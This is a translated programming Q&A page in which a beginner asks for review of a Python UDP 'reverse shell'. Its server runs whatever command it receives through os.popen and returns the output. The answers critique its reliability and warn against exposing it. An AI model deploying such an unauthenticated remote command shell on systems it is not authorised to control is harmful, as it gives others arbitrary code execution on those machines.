首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场

UDP反壳
EN

Code Review用户
提问于 2018-08-09 11:24:51
回答 2查看 1.4K关注 0票数 6

我目前正在学习python /网络编程,我编写了这个简单的python反向shell;我想听听您对代码结构、任何常见的初学者错误的评论,实际上,我的代码几乎任何感觉不对的地方。

代码非常简单,客户端向服务器发送命令,然后侦听命令输出;服务器侦听命令,执行命令并发送命令输出。

client.py :

代码语言:javascript
运行
复制
#!/usr/bin/env python3

import networking
import prompt_handler


def interpreter():
    while True:
        prompt = prompt_handler.pull_prompt(sockt)

        cmd = input(prompt)
        sockt.sendto(cmd.encode('utf-8'), server)

        output = networking.receive_data(sockt)
        print(output)

        if cmd == "quit":
            break


server = ('127.0.0.1', 8001)

sockt = networking.socket_init('127.0.0.1', 9001)
sockt.sendto('client hello'.encode('utf-8'), server)

interpreter()

server.py :

代码语言:javascript
运行
复制
#!/usr/bin/env python3

import os
import platform
import networking


# separated sends for cwd and user_string to be able to color them client side
def get_sys_info():
    user_string = 'someone@' + str(platform.dist()[0]).lower()
    sockt.sendto(user_string.encode('utf-8'), client)

    user_cwd = os.getcwd()
    sockt.sendto(user_cwd.encode('utf-8'), client)
    return


def shell():
    while True:
        try:
            get_sys_info()
            cmd = networking.receive_data(sockt)

            if cmd.strip() == 'quit':
                sockt.sendto('Closing session...'.encode('utf-8'), client)
                sockt.close()
                break
            else:
                proc = os.popen(cmd)
                output = ''.join([i for i in proc.readlines()])

                sockt.sendto(output.encode('utf-8'), client)

        except Exception as e:
            sockt.sendto(repr(e).encode('utf-8'), client)
            pass


sockt = networking.socket_init('127.0.0.1', 8001)
client = networking.receive_rhostinfo(sockt)

shell()

networking.py :

代码语言:javascript
运行
复制
import socket


def socket_init(ip_addr, port):
    sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sockt.bind((ip_addr, port))
    return sockt


# to be able to get the data directly - less clutter in main code
def receive_data(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return data.decode('utf-8')


# to be able to get the remote host info directly - less clutter in main code
def receive_rhostinfo(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return rhost_info

promp_handler.py

代码语言:javascript
运行
复制
import networking


def pull_sys_info(sockt):
    user_str = networking.receive_data(sockt)
    cwd = networking.receive_data(sockt)
    return user_str, cwd


# i was craving for some color
def pull_prompt(sockt):
    user_str, cwd = pull_sys_info(sockt)
    user_str = "\u001b[31m" + user_str + "\u001b[0m:"
    cwd = "\u001b[34m" + cwd + "\u001b[0m$"
    return user_str + cwd

如果需要的话,您可以在github上找到代码。

EN

回答 2

Code Review用户

回答已采纳

发布于 2018-08-09 15:25:06

  • UDP不可靠。发送到服务器的数据包可能丢失(因此服务器将不应答)。服务器发送的数据包可能会丢失。客户必须处理这些可能性。按照编码,它只是无限期地挂在recvfrom中。
  • 您的recvfrom只需要1024字节。如果shell输出较长,则其余部分将无法恢复。
  • 如果shell输出大于MTU,则将输出分段为多个数据包。然而,客户端只读取一个。从这一点开始,数据客户端接收到的数据与执行的内容没有任何连接。例如,尝试cat一个长文件。另外,请记住,碎片可能以任何顺序到达(UDP并不保证交付顺序)。
  • 小心外壳结构。由于每个命令都是在单独的shell中执行的,因此某些命令(如cd)似乎只被执行,但实际上没有任何效果。
  • 当然,不要公开运行这台服务器。执行任意命令(特别是来自不受信任的源)是一种灾难。
票数 5
EN

Code Review用户

发布于 2018-08-09 13:34:21

通用风格

你的一般代码风格很好。这些方法的命名是可行的,并且您坚持PEP 8。

分别关闭客户端和服务器

当前,"quit"命令同时关闭服务器和客户端。因为它是在客户机中输入到服务器的命令,所以我希望它要么关闭客户机(首先),要么关闭服务器,但不是两者都关闭。您可能需要考虑使用"quit"仅关闭客户端,并在以后重新连接时保持服务器运行,并仅使用"shutdown“之类的方法关闭服务器。

在关闭之前,服务器可以通过发送␄或另一个控制字符来通知客户端。

套接字限制和数据丢失

静态地将数据从套接字中的读取限制为1024字节。如果你能发送更多的数据,它就会丢失。

在适用的情况下使用

如果您不一定需要在低级别上处理套接字,请查看ZeroMQ或其他高级库。

票数 5
EN
页面原文内容由Code Review提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://codereview.stackexchange.com/questions/201276

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档